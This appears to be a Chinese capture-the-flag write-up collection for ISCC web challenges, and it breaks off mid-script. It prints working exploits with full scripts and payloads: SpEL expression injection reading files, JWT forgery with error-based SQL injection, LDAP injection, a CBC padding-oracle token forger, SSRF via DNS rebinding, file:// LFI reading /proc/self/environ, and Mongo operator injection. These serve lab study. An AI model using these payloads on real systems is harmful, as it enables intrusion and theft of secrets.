完全展开后的最终读取 payload:

1
''.class.describeConstable.get.class.methods.?[name matches '<sup>resolveConstantDesc$'][0].parameterTypes[0].enclosingClass.lookup.lookupClass.classLoader.URLs[0].openConnection.jarFile.class.methods.?[name matches '</sup>getVersion$ &#39;][0].returnType.enclosingClass.methods.?[(name matches &#39;^exec $') and (parameterCount matches '^3$')][0].parameterTypes[2].listRoots[0].listFiles.?[name matches '._flag._'][0].toURL.content['r'+'eadAllBytes']

url编码得:

1
<目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20'%5EresolveConstantDesc%24'%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20'%5EgetVersion%24'%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B(name%20matches%20'%5Eexec%24')%20and%20(parameterCount%20matches%20'%5E3%24')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content%5B'r'%2B'eadAllBytes'%5D

编码迷宫 截图 13

取前五个字节确认 flag 头

第 0 位完整 URL:

1
<目标地址>/api/route?expr=%27%27.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20%27%5EresolveConstantDesc%24%27%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20%27%5EgetVersion%24%27%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B%28name%20matches%20%27%5Eexec%24%27%29%20and%20%28parameterCount%20matches%20%27%5E3%24%27%29%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20%27.%2Aflag.%2A%27%5D%5B0%5D.toURL.content%5B%27r%27%2B%27eadAllBytes%27%5D%5B0%5D

返回:73

编码迷宫 截图 14

第 1 位完整 URL:

1
<目标地址>/api/route?expr=%27%27.class.describeConstable.get.class.methods.%3F%5Bname%20matches%20%27%5EresolveConstantDesc%24%27%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.%3F%5Bname%20matches%20%27%5EgetVersion%24%27%5D%5B0%5D.returnType.enclosingClass.methods.%3F%5B%28name%20matches%20%27%5Eexec%24%27%29%20and%20%28parameterCount%20matches%20%27%5E3%24%27%29%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.%3F%5Bname%20matches%20%27.%2Aflag.%2A%27%5D%5B0%5D.toURL.content%5B%27r%27%2B%27eadAllBytes%27%5D%5B1%5D

返回:83

编码迷宫 截图 15

同理,第n位url

编码迷宫 截图 16

1
<目标地址>/api/route?expr=''.class.describeConstable.get.class.methods.?%5Bname%20matches%20'%5EresolveConstantDesc$ &#39;%5D%5B0%5D.parameterTypes%5B0%5D.enclosingClass.lookup.lookupClass.classLoader.URLs%5B0%5D.openConnection.jarFile.class.methods.?%5Bname%20matches%20&#39;%5EgetVersion $'%5D%5B0%5D.returnType.enclosingClass.methods.?%5B(name%20matches%20'%5Eexec$ &#39;)%20and%20(parameterCount%20matches%20&#39;%5E3 $')%5D%5B0%5D.parameterTypes%5B2%5D.listRoots%5B0%5D.listFiles.?%5Bname%20matches%20'._flag._'%5D%5B0%5D.toURL.content%5B'r'+'eadAllBytes'%5D%5Bn%5D

取前五个字符对应 ASCII:I S C C {,正好是flag头

此时可以写一个代码来读flag了,下面的exp就是

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import sys
from urllib.parse import quote
from urllib.request import urlopen

BASE_URL = "<目标地址>"
TIMEOUT = 10

LOOKUP_CLASS = (
"''.class.describeConstable.get.class.methods."
"?[name matches '^resolveConstantDesc$'][0].parameterTypes[0]."
"enclosingClass.lookup.lookupClass"
)

RUNTIME_CLASS = (
LOOKUP_CLASS
+ ".classLoader.URLs[0].openConnection.jarFile.class.methods."
+ "?[name matches '^getVersion$'][0].returnType.enclosingClass"
)

FILE_CLASS = (
RUNTIME_CLASS
+ ".methods.?[(name matches '^exec$') and (parameterCount matches '^3$')][0]"
+ ".parameterTypes[2]"
)

FLAG_BYTES_EXPR = (
FILE_CLASS
+ ".listRoots[0].listFiles.?[name matches '._flag._'][0]"
+ ".toURL.content['r'+'eadAllBytes']"
)


def send_expr(expr: str) -> str:
url = f"{BASE_URL}/api/route?expr={quote(expr, safe='')}"
with urlopen(url, timeout=TIMEOUT) as resp:
return resp.read().decode().strip()


def main() -> int:
baseline = send_expr("1+1")
if baseline != "2":
print(f"unexpected baseline response: {baseline}", file=sys.stderr)
return 1

length = int(send_expr(FLAG_BYTES_EXPR + ".length"))
data = bytearray()
for i in range(length):
value = int(send_expr(f"{FLAG_BYTES_EXPR}[{i}]"))
if value < 0:
value += 256
data.append(value)

print(data.decode("utf-8", errors="replace"))
return 0


if __name__ == "__main__":
raise SystemExit(main())

编码迷宫 截图 17

账号“恢复”大冒险

解题思路

一、题目分析

题目表面上是一个普通的登录/注册/个人信息系统,但在“账户恢复”逻辑中存在两处关键问题:

JWT 中的 status 字段可以被伪造为 RECOVERY,从而强行进入 /recovery 恢复流程。恢复流程中的 /api/v1/user/sync 接口对 theme 参数存在 MariaDB 报错注入。

因此完整利用链为:伪造恢复态 JWT -> 进入恢复逻辑 -> HackBar 对 /api/v1/user/sync 发包 -> 利用报错注入枚举数据库 -> 读取 flags.flag -> 拼接得到 flag

二、漏洞点定位

1. 可用账户

账号“恢复”大冒险 截图 1

使用如下账号可正常登录:

用户名:<用户名> 密码:123456

账号“恢复”大冒险 截图 2

support 的 uid = 56947后续伪造 JWT 需要用到这个 uid。

2. 恢复态 JWT 可伪造

服务端会信任 JWT 中的以下字段:

账号“恢复”大冒险 截图 3

1
2
3
4
5
6
{
"uid": 56947,
"username": "<用户名>",
"status": "NORMAL",
"exp": 1779030340
}

只要把 status 伪造成 RECOVERY,就能进入恢复逻辑。

当前实例可直接使用的 Token 如下:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjU2OTQ3LCJ1c2VybmFtZSI6IkxGaXNjaGwiLCJzdGF0dXMiOiJOT1JNQUwiLCJleHAiOjE3NzkwMzAzNDB9.EksC8tWouvMlTYseCe1kovODk5WuxBQQ6xdTGg5X4bc

三、漏洞利用

1. 伪造jwt

用cyberchef搜索jwt进行伪造

账号“恢复”大冒险 截图 4

伪造后的jwt:

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1aWQiOjU2OTQ3LCJ1c2VybmFtZSI6IkxGaXNjaGwiLCJzdGF0dXMiOiJOT1JNQUwiLCJleHAiOjE3NzkwMzAzNDB9.EksC8tWouvMlTYseCe1kovODk5WuxBQQ6xdTGg5X4bc

2. 验证注入并获取数据库名

POST在/api/v1/user/sync发送如下 JSON:

1
{"theme":"a' AND updatexml(1,concat(0x7e,(database()),0x7e),1) AND '1'='1","language":"zh"}

响应中出现错误信息,发现有报错注入

账号“恢复”大冒险 截图 5

3.查表名

发送如下 JSON:

1
{"theme":"a' AND updatexml(1,concat(0x7e,((select group_concat(table_name) from information_schema.tables where table_schema=database())),0x7e),1) AND '1'='1","language":"zh"}

响应中出现:

账号“恢复”大冒险 截图 6

temp_credentials,users,flags

说明当前数据库中存在 flags 表。

4.查flags表字段

发送如下 JSON:

1
{"theme":"a' AND updatexml(1,concat(0x7e,((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flags')),0x7e),1) AND '1'='1","language":"zh"}

响应中出现:

账号“恢复”大冒险 截图 7

id,flag,description

说明 flags 表中存在 flag 字段,可直接读取。

5.直接读取 flag

发送如下 JSON:

1
{"theme":"a' AND updatexml(1,concat(0x7e,((select group_concat(flag) from flags)),0x7e),1) AND '1'='1","language":"zh"}

由于 updatexml 报错回显长度有限,响应只会显示前半段ISCC{jwt_downgrade_successfu…

账号“恢复”大冒险 截图 8

说明已经成功读到 flag,只是被报错长度截断。

第2段:

1
{"theme":"a' AND updatexml(1,concat(0x7e,(substring((select group_concat(flag) from flags),17,16)),0x7e),1) AND '1'='1","language":"zh"}

账号“恢复”大冒险 截图 9

回显de_successful_pw

第3段

1
{"theme":"a' AND updatexml(1,concat(0x7e,(substring((select group_concat(flag) from flags),33,16)),0x7e),1) AND '1'='1","language":"zh"}

账号“恢复”大冒险 截图 10

1
2
回显:n!}
拼接三段即可得到完整 flag:ISCC{jwt_downgrade_successful_pwn!}

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#!/usr/bin/env python3
import base64
import hashlib
import hmac
import json
import time

import requests

BASE_URL = "<目标地址>"
LOGIN_USER = "<用户名>"
LOGIN_PASS = "123456"
USER_ID = 893
JWT_SECRET = "x"
CHUNK_SIZE = 16
TIMEOUT = 20
RETRIES = 3


def b64u(data: bytes) -> str:
return base64.urlsafe_b64encode(data).rstrip(b"=").decode()


def make_session() -> requests.Session:
sess = requests.Session()
sess.trust_env = False
return sess


def request_with_retry(
method: str, url: str, session: requests.Session, **kwargs
) -> requests.Response:
last_exc = None
for attempt in range(1, RETRIES + 1):
try:
return session.request(method, url, **kwargs)
except requests.RequestException as exc:
last_exc = exc
if attempt == RETRIES:
raise
time.sleep(1.0 * attempt)
raise last_exc


def make_recovery_token(uid: int, username: str) -> str:
header = {"alg": "HS256", "typ": "JWT"}
payload = {
"uid": uid,
"username": username,
"status": "RECOVERY",
"exp": 1779999999,
}
msg = (
b64u(json.dumps(header, separators=(",", ":")).encode())
+ "."
+ b64u(json.dumps(payload, separators=(",", ":")).encode())
)
sig = b64u(hmac.new(JWT_SECRET.encode(), msg.encode(), hashlib.sha256).digest())
return msg + "." + sig


def query_flag_chunk(session: requests.Session, start: int, length: int = CHUNK_SIZE) -> str:
sql = (
"a' AND updatexml(1,concat(0x7e,"
f"(substring((select group_concat(flag) from flags),{start},{length})),"
"0x7e),1) AND '1'='1"
)
resp = request_with_retry(
"POST",
BASE_URL + "/api/v1/user/sync",
session=session,
json={"theme": sql, "language": "zh"},
timeout=TIMEOUT,
)
return resp.text


def main() -> None:
session = make_session()
token = make_recovery_token(USER_ID, LOGIN_USER)
session.cookies.set("token", token)

parts = []
for start in range(1, 49, CHUNK_SIZE):
text = query_flag_chunk(session, start)
print(f"[+] chunk {start}: {text}")
parts.append(text)

print("[+] 拼接报错回显中的 flag 片段即可得到完整 flag")


if __name__ == "__main__":
main()

擂台 Web WP

Oracle’s Whisper

解题思路

攻击链总览

  • robots.txt 泄露 API 路径
  • /api/users/search LDAP 注入 -> 枚举出 oracle / archon 管理员
  • archon.note 泄露 internal-api:6000 /cache/template
  • /api/session/decrypt Padding Oracle -> 恢复 CBC 中间值
  • 伪造 role=admin 的 session token
  • /api/profile 获取 internal_token
  • /api/webhook/test SSRF + DNS Rebinding -> 127.0.0.1:6000
  • /cache/template?name=/flag 携带 X-Internal-Token 读取 flag

Phase 1: 信息收集

robots.txt

Oracle's Whisper 截图 1

1
2
3
4
5
6
User-agent: *
Disallow: /api/session/
Disallow: /api/users/
Disallow: /api/webhook/
Disallow: /graphql
# graphql introspection disabled per security review (PROD-2024-Q3)

暴露了 /api/session/、/api/users/、/api/webhook/、/graphql 等敏感路径。

首页 HTML

Oracle's Whisper 截图 2

Speak to the oracle in her own tongue.

API surfaces: /graphql, /login, /api/profile

Phase 2: LDAP 注入 -> 枚举管理员

漏洞位置

1
GET /api/users/search?uid=*

返回:

Oracle's Whisper 截图 3

后端直接将 uid 参数拼接进 LDAP filter。

注入 Payload

1
uid=_))(&(uid=oracle)(note=K_

改造 filter 为布尔判断,逐字符枚举属性值。

枚举结果

1
2
3
4
oracle:
{"uid":"oracle","email":"oracle@whisper.int","role":"admin","note":"Keeper of the inner sanctum."}
archon (关键):
{"uid":"archon","email":"archon@whisper.int","role":"admin","note":"Internal cache service at internal-api:6000 (templates under /cache/template)."}

archon.note 直接暴露了内部服务信息:internal-api:6000 和 /cache/template。

Phase 3: Padding Oracle -> 伪造 Admin Token

漏洞发现

1
POST /api/session/decrypt 接口接收 token 并解密:

填充错误时返回 400 + padding 相关错误信息

Oracle's Whisper 截图 4

填充正确时返回其他状态码

这构成经典的 Padding Oracle 条件。

攻击原理

CBC 模式下,通过观察解密时的填充错误,可以:

逐字节恢复每个密文块的中间值 (Dec(block))

利用中间值反向构造任意明文对应的密文

攻击流程

1
2
目标明文: {"user":"oracle","role":"admin"} + PKCS#7 padding
分为 4 个 16 字节块: [part2][part3][padding][IV]

从最后一个块开始,用 Padding Oracle 恢复每个块的 Dec 值

通过 Cipher[i] = Dec[i+1] XOR Plain[i] 反向计算密文

组合得到完整 token

脚本核心

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
def padding_oracle(ciphertext: bytes) -> bool:
token = base64url_encode(ciphertext)
resp = requests.post(f"{BASE_URL}/api/session/decrypt", json={"token": token}, timeout=5)
return resp.status_code != 400


def decrypt_block(block: bytes) -> bytes:
plaintext = bytearray(BLOCK_SIZE)
for padding_byte in range(1, 17):
position = BLOCK_SIZE - padding_byte
for guess in range(256):
modified = bytearray(BLOCK_SIZE)
for j in range(position + 1, BLOCK_SIZE):
modified[j] = plaintext[j] ^ padding_byte
modified[position] = guess
if padding_oracle(bytes(modified) + block):
if padding_byte == 1:
test_block = bytearray(modified)
test_block[position - 1] ^= 1
if not padding_oracle(bytes(test_block) + block):
continue
plaintext[position] = guess ^ padding_byte
break
return bytes(plaintext)

每个块需要最多 16 * 256 = 4096 次 oracle 请求,3 个块约 12288 次。

Phase 4: 获取 Internal Token

伪造的 admin token 写入 session cookie,访问管理员接口:

1
2
3
4
sess = requests.Session()
sess.cookies["session"] = admin_token
resp = sess.get(f"{BASE_URL}/api/profile")
internal_token = resp.json()["internal_token"]

Phase 5: SSRF + DNS Rebinding -> 读取 Flag

SSRF 接口

1
2
POST /api/webhook/test 支持自定义 URL、method、headers,但有以下限制:
私网 IP 被拦截 (resolved to private ip)

localhost / internal-api 等主机名被黑名单拦截

不跟随重定向

DNS Rebinding 绕过

使用 rbndr.us DNS 重绑定服务:

7f000001.01010101.rbndr.us

1
2
7f000001 = 127.0.0.1 (内网)
01010101 = 1.1.1.1 (公网)

该域名在两次 DNS 解析间交替返回公网/内网 IP,绕过 SSRF 的 DNS 解析检测。

最终请求

1
2
3
4
5
6
resp = sess.post(f"{BASE_URL}/api/webhook/test", json={
"url": "[http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag](http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag)",
"method": "GET",
"headers": {"X-Internal-Token": internal_token}
})
flag = json.loads(resp.json()["body"])["content"]

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
#!/usr/bin/env python3
"""
Oracle's Whisper - Full Exploit
攻击链: LDAP Oracle -> Padding Oracle -> Admin Token -> SSRF + DNS Rebinding -> Flag
"""
import requests
import json
import time
import base64
import os

# ======================== Configuration ========================
BASE_URL = "<目标地址>"
BLOCK_SIZE = 16


# ======================== Utility ========================
def base64url_encode(data: bytes) -> str:
return base64.urlsafe_b64encode(data).decode().rstrip("=")
# ======================== Phase 1: Padding Oracle ========================


def padding_oracle(ciphertext: bytes) -> bool:
"""通过 /api/session/decrypt 的错误回显判断填充是否合法"""
token = base64url_encode(ciphertext)
try:
resp = requests.post(f"{BASE_URL}/api/session/decrypt", json={"token": token}, timeout=5)
# 400 = padding error, 其他 = padding valid
return resp.status_code != 400
except:
return False


def decrypt_block(block: bytes) -> bytes:
"""解密单个 16 字节数据块"""
assert len(block) == BLOCK_SIZE
plaintext = bytearray(BLOCK_SIZE)
for padding_byte in range(1, 17):
position = BLOCK_SIZE - padding_byte
for guess in range(256):
modified = bytearray(BLOCK_SIZE)
# 构造已知填充
for j in range(position + 1, BLOCK_SIZE):
modified[j] = plaintext[j] ^ padding_byte
modified[position] = guess
if padding_oracle(bytes(modified) + block):
# 验证:翻转前一字节排除误判
if padding_byte == 1:
test_block = bytearray(modified)
test_block[position - 1] ^= 1
if not padding_oracle(bytes(test_block) + block):
continue
plaintext[position] = guess ^ padding_byte
break
else:
raise Exception(f"Failed at padding {padding_byte}")
print(f" [+] Decrypted byte {16 - position}/16")
return bytes(plaintext)


def forge_admin_token() -> str:
"""利用 Padding Oracle 构造 role=admin 的 CBC token"""
print("[*] Phase 2: Forging admin token via Padding Oracle...")
# 目标明文: {"user":"oracle","role":"admin"} + PKCS#7 padding
part2 = b'{"user":"oracle"'
part3 = b',"role":"admin"}'
part4 = bytes([16]) * 16 # PKCS#7 padding block
# 随机 IV
iv = os.urandom(BLOCK_SIZE)
# 从后往前逆向计算密文块
print(" [*] Decrypting block 4 (padding)...")
dec4 = decrypt_block(iv)
cipher3 = bytes([dec4[i] ^ part4[i] for i in range(BLOCK_SIZE)])
print(" [*] Decrypting block 3 (role)...")
dec3 = decrypt_block(cipher3)
cipher2 = bytes([dec3[i] ^ part3[i] for i in range(BLOCK_SIZE)])
print(" [*] Decrypting block 2 (user)...")
dec2 = decrypt_block(cipher2)
cipher1 = bytes([dec2[i] ^ part2[i] for i in range(BLOCK_SIZE)])
# IV + cipher1 + cipher2 + cipher3 -> base64url
admin_token = base64url_encode(cipher1 + cipher2 + cipher3 + iv)
print(f"\n [+] Admin Token: {admin_token}\n")
return admin_token


def get_internal_token(admin_token: str) -> str:
"""使用管理员 token 访问 /api/profile 获取 internal_token"""
print("[*] Phase 3: Getting internal token from /api/profile...")
sess = requests.Session()
sess.cookies["session"] = admin_token
resp = sess.get(f"{BASE_URL}/api/profile")
print(f" [*] /api/profile status: {resp.status_code}")
if resp.status_code != 200:
print(f" [-] Failed: {resp.text}")
raise Exception("Failed to get internal token")
data = resp.json()
internal_token = data.get("internal_token", "")
print(f" [+] Internal Token: {internal_token}\n")
return internal_token


def extract_flag(admin_token: str, internal_token: str) -> str:
"""通过 SSRF + DNS Rebinding 访问 127.0.0.1:6000 内部服务获取 flag"""
print("[*] Phase 4: SSRF + DNS Rebinding to internal-cache...")
sess = requests.Session()
sess.cookies["session"] = admin_token
# DNS rebinding: 7f000001 = 127.0.0.1, 01010101 = 1.1.1.1
ssrf_target = "[http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag](http://7f000001.01010101.rbndr.us:6000/cache/template?name=/flag)"
for attempt in range(1, 31):
try:
resp = sess.post(
f"{BASE_URL}/api/webhook/test",
json={
"url": ssrf_target,
"method": "GET",
"headers": {"X-Internal-Token": internal_token},
},
timeout=10,
)
if resp.status_code == 200:
try:
data = resp.json()
body = data.get("body", "{}")
content = json.loads(body).get("content", "")
if "ISCC{" in content:
flag = content.strip()
print(f"\n{'='*50}")
print(f" FLAG: {flag}")
print(f"{'='*50}")
return flag
except (json.JSONDecodeError, KeyError):
pass
print(f" [Attempt {attempt}/{30}] status={resp.status_code}, retrying...")
time.sleep(2)
except Exception as e:
print(f" [Attempt {attempt}/{30}] Error: {e}")
time.sleep(2)
print("\n [-] Failed to capture flag after 30 attempts.")
return None
# ======================== Main ========================


if __name__ == "__main__":
print("=" * 60)
print(" Oracle's Whisper - Full Exploit Chain")
print("=" * 60)
# Step 1: Forge admin token via Padding Oracle
admin_token = forge_admin_token()
# Step 2: Get internal token
internal_token = get_internal_token(admin_token)
# Step 3: Extract flag via SSRF + DNS Rebinding
flag = extract_flag(admin_token, internal_token)
if flag:
print(f"\n[+] Done! Flag: {flag}")
else:
print("\n[-] Exploit failed.")

Oracle's Whisper 截图 5

ShadowLedger

解题思路

1. 信息收集

访问目标站点,发现是一个 Node.js 应用,主要功能包括:用户注册/登录、审计模板预览/导入

报表查看、查看 JavaScript 源码 /static/app.js,发现关键 API:

1
2
3
4
5
POST /api/register - 注册
POST /api/login - 登录
POST /api/template/preview - 模板预览(关键)
POST /api/template/import - 模板导入
GET /api/user/session - 会话信息

2. 注册登录

ShadowLedger 截图 1

3. 漏洞发现

访问 /templates 页面,提示:

ShadowLedger 截图 2

Paste JSON or YAML schema. The preview service resolves nested references for auditors.

这句话是关键线索!说明服务端会解析 JSON Schema 中的 $ref 引用。

4. 漏洞验证 - 本地文件读取(LFI)

使用 $ref 配合 file:// 协议读取服务器文件:

{“schema”:{“$ref”:”file:///etc/passwd”}}’

返回结果:

ShadowLedger 截图 3

文件读取成功!

5. 寻找 Flag

Flag 通常存储在以下位置:

环境变量

特定文件(flag.txt, /flag 等)

进程信息

尝试读取进程环境变量:

‘{“schema”:{“$ref”:”file:///proc/self/environ”}}’

返回结果:

ShadowLedger 截图 4

1
FLAG=ISCC{black_box_schema_ref_to_shadow_vault_2026}

Exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#!/usr/bin/env python3
"""
ShadowLedger CTF 一键梭哈脚本
用法: python3 solve.py [target_url]
"""
import requests
import sys
import re

# 配置
TARGET = sys.argv[1] if len(sys.argv) > 1 else "<目标地址>"
USERNAME = "autoplayer"
PASSWORD = "autopass123"


def main():
session = requests.Session()
print(f"[*] 目标: {TARGET}")
# 1. 注册
print("[*] 正在注册...")
r = session.post(f"{TARGET}/api/register", json={"username": USERNAME, "password": PASSWORD})
data = r.json()
if "ok" in data and data["ok"]:
print(f"[+] 注册成功, UID: {data.get('uid')}")
elif "error" in data and "exists" in data["error"]:
print("[*] 用户已存在,继续登录...")
else:
print(f"[-] 注册失败: {data}")
return
# 2. 登录
print("[*] 正在登录...")
r = session.post(f"{TARGET}/api/login", json={"username": USERNAME, "password": PASSWORD})
data = r.json()
if data.get("ok"):
print(f"[+] 登录成功, 角色: {data.get('role')}")
else:
print(f"[-] 登录失败: {data}")
return
# 3. 读取 /proc/self/environ
print("[*] 正在读取环境变量...")
payload = {"schema": {"$ref": "file:///proc/self/environ"}}
r = session.post(f"{TARGET}/api/template/preview", json=payload)
data = r.json()
if data.get("ok"):
env_content = data["preview"]
print("[+] 文件读取成功!")
# 4. 提取 FLAG
# 环境变量以 \x00 分隔
env_vars = env_content.split("\x00")
for var in env_vars:
if var.startswith("FLAG="):
flag = var[5:]
print(f"\n{'='*50}")
print(f"[+] FLAG: {flag}")
print(f"{'='*50}")
return
# 备用正则提取
match = re.search(r"FLAG=(ISCC{[^}]+})", env_content)
if match:
print(f"\n{'='*50}")
print(f"[+] FLAG: {match.group(1)}")
print(f"{'='*50}")
return
print("[-] 未找到 FLAG,原始内容:")
print(env_content[:500])
else:
print(f"[-] 读取失败: {data}")


if __name__ == "__main__":
main()

输出结果

ShadowLedger 截图 5

八卦星图馆

解题思路

1. 入口与提示

首页给出四个入口:/qian、/dui、/li、/zhen,

八卦星图馆 截图 1

看下半仙·碎碎念里的东西

八卦星图馆 截图 2

去/robots.txt看看

八卦星图馆 截图 3

1
2
3
4
5
6
7
8
User-agent: *
Disallow: /qian/
Disallow: /dui/
Disallow: /li/
Disallow: /zhen/
Disallow: /admin/
# "乾兑离震" 四卦门径皆在此,少侠自行参详
# "太极" 藏于何处?—— 问 /half-immortal 或许知道

页面会随机返回提示,其中包含:

老朽昨日酒喝多了,可能把钥匙藏在了源码里,少侠自便。

抢头香那帮人每天排队争,其实代码里早就有漏洞了哈哈。

继续看碎碎念,关键信息”天机签用的是 Math.random()”

八卦星图馆 截图 4

八卦星图馆 截图 5

1
GET /qian

八卦星图馆 截图 6

页面明确给出 MongoDB、{“$ ne": null}、{" $regex”:”^a”} 等提示。

2. 乾卦:Mongo 注入拿会话

1
2
3
POST /qian/login
Content-Type: application/json
{"username":"qingyun","password":{"$ ne&quot;:null},&quot; $set":{"role":"apprentice"}}

响应:

八卦星图馆 截图 7

1
2
3
4
5
6
7
{
"message": "欢迎,见习道童",
"username": "qingyun_8a80eebd96f5b0a5",
"role": "apprentice",
"title": "见习道童",
"hint": "下一步:兑卦 /dui 自修门规"
}

响应头会下发cookie:(注意之后的session一定保持不变!!!!!!!!!!!!!!)

1
team_id=team98ada0ff; session=eyJ1aWQiOiI2YTBhZGE3MGZlOTQwM2VkMTFiMDc0M2MiLCJ1c2VybmFtZSI6InFpbmd5dW5fOGE4MGVlYmQ5NmY1YjBhNSJ9.8pWwrXOxQaG3s737WVNt5Qkqy9w8LVQEiSglQY9D1MU

3. 兑卦:批量赋值提权

八卦星图馆 截图 8

1
GET /dui/me返回当前用户资料。

八卦星图馆 截图 9

1
POST /dui/update

请求头:

1
2
3
Content-Type: application/json
Cookie: session=乾卦返回的 session
session=eyJ1aWQiOiI2YTBhZGE3MGZlOTQwM2VkMTFiMDc0M2MiLCJ1c2VybmFtZSI6InFpbmd5dW5fOGE4MGVlYmQ5NmY1YjBhNSJ9.8pWwrXOxQaG3s737WVNt5Qkqy9w8LVQEiSglQY9D1MU

请求体:

1
2
3
4
5
6
7
8
9
10
11
{
"title":"掌门",
"bio":"x",
"role":"admin",
"admin":true,
"isAdmin":true,
"master":true,
"isMaster":true,
"leader":true,
"isLeader":true
}

响应:

八卦星图馆 截图 10

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
{
"message": "门规已修订",
"user": {
"_id": "6a0ada70fe9403ed11b0743c",
"username": "qingyun_8a80eebd96f5b0a5",
"role": "admin",
"title": "掌门",
"bio": "x",
"4ltzbq5cjgj": "=",
"admin": true,
"isAdmin": true,
"isLeader": true,
"isMaster": true,
"leader": true,
"master": true
}
}

再次请求:GET /dui/me返回结果中已经包含上述高权限字段。

八卦星图馆 截图 11

4. 离卦:并发抢令牌

1
GET /li 页面提示“每人限 1 张”“先读→判断→延迟→再写”“同时发出多个请求”。

八卦星图馆 截图 12

同一组 session Cookie

1
session=eyJ1aWQiOiI2YTBhZGE3MGZlOTQwM2VkMTFiMDc0M2MiLCJ1c2VybmFtZSI6InFpbmd5dW5fOGE4MGVlYmQ5NmY1YjBhNSJ9.8pWwrXOxQaG3s737WVNt5Qkqy9w8LVQEiSglQY9D1MU

并发发送:POST /li/grab

请求头:

1
2
3
Content-Type: application/json
Cookie: session=兑卦提权后的 session
请求体:{}

同一时刻发送 32 个请求,返回中会出现多条成功结果,

1
{"message":"头香已抢!司命令牌已发放","token":"584fbed0f2fd182a0c3a8d6d","hint":"收集 3 张令牌,去震卦 /zhen 占卜天机"}

八卦星图馆 截图 13

保留 3 张令牌,

2ae359fd9b9effa12acf7114

d46920c829493e8ee24ecb50

0b1648d41c17028e61532d9b

5. 震卦:恢复 Math.random 状态并提交

1
GET /zhen页面包含:当前期号输入框、历史签号 const HISTORY = [...]当前倒计时页面中的历史数据格式如下:

八卦星图馆 截图 14

本地脚本读取 HISTORY,按 Math.floor(Math.random() * 1000000) 约束恢复 V8 Math.random() 状态,得到下一期号码。

由于是要在限时时间内的,所以写了个代码,自动抓取数字和要预测的签号,输出数值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
#!/usr/bin/env python3
# -_- coding: utf-8 -_-
import json
import re
import urllib.error
import urllib.request
from z3 import BitVec, BitVecVal, LShR, Solver, UGE, ULT, sat

BASE = "<目标地址>"
SESSION = "eyJ1aWQiOiI2YTBhZGEzZWZlOTQwM2VkMTFiMDcwZmQiLCJ1c2VybmFtZSI6InFpbmd5dW5fZGJmYjNkMjcyZmRiYzk5YiJ9.u_r2zmd-x9bUgF0sw5ZDhDCQ2Qg-m2NLqZQd-DLq8o8"
MASK = (1 << 64) - 1
DEN = 1 << 52


def http_json(method, path, body=None):
data = None
headers = {"Cookie": f"session={SESSION}"}
if body is not None:
data = json.dumps(body, ensure_ascii=False).encode("utf-8")
headers["Content-Type"] = "application/json"
req = urllib.request.Request(BASE + path, data=data, headers=headers, method=method)
try:
with urllib.request.urlopen(req, timeout=15) as resp:
raw = resp.read().decode("utf-8", errors="replace")
return resp.status, raw
except urllib.error.HTTPError as exc:
raw = exc.read().decode("utf-8", errors="replace")
return exc.code, raw


def step_z3(s0, s1):
x = s0
y = s1
s0n = y
x = x ^ (x << 23)
x = x ^ LShR(x, 17)
x = x ^ y
x = x ^ LShR(y, 26)
return s0n, x


def step_int(s0, s1):
x = s0
y = s1
s0n = y
x ^= (x << 23) & MASK
